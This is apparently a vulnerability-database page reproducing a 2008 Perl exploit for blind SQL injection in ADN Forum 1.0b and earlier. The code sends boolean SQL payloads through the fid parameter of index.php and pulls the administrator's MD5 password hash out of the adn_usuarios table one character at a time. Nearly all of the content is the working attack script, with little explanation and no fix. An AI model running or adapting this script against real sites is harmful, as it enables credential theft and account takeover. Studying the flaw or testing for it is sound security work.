Lucene search
K

ADN Forum <= 1.0b Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

ADN Forum <= 1.0b Blind SQL Injectio

Code

                                                #!/usr/bin/perl
# --------------------------------------------------
# ADN Forum &#60;= 1.0b Blind SQL Injection Exploit
# Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
# Discovered On: 01/10/2008
# Download: http://sourceforge.net/projects/adnforum/
# --------------------------------------------------
# Usage: perl exploit.pl http://localhost
# --------------------------------------------------

use strict;
use warnings;
use LWP::UserAgent;
use URI::Escape;

my ($request,$send,$ord,$hash,$uid) = (undef,undef,undef,undef,1);

my $host = shift @ARGV or die &#34;[?] Usage: perl $0 http://[host]\n&#34;;
my @chars = (48..57, 97..102); 
my $http = new LWP::UserAgent;

for(0..32)
{
  foreach $ord(@chars) 
  {
    $send = &#34;&#39; or ascii(substring((select password from adn_usuarios where id=1),$uid,1))=$ord#&#34;;
    $send = uri_escape($send);
    
    $request = $http-&#62;get($host.&#34;/index.php?fid=&#34;.$send);
    
    if($request-&#62;is_success and $request-&#62;content =~ /hace clic en el boton de abajo/i)
    {
      $hash .= chr($ord); 
      $uid++;
    }
  }
}

if(defined $hash)
{
  print &#34;[+] MD5: $hash\n&#34;;
  exit;
}
else
{
  print &#34;[?] Exploit Failed!\n&#34;;
  exit;
}

# milw0rm.com [2008-10-01]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation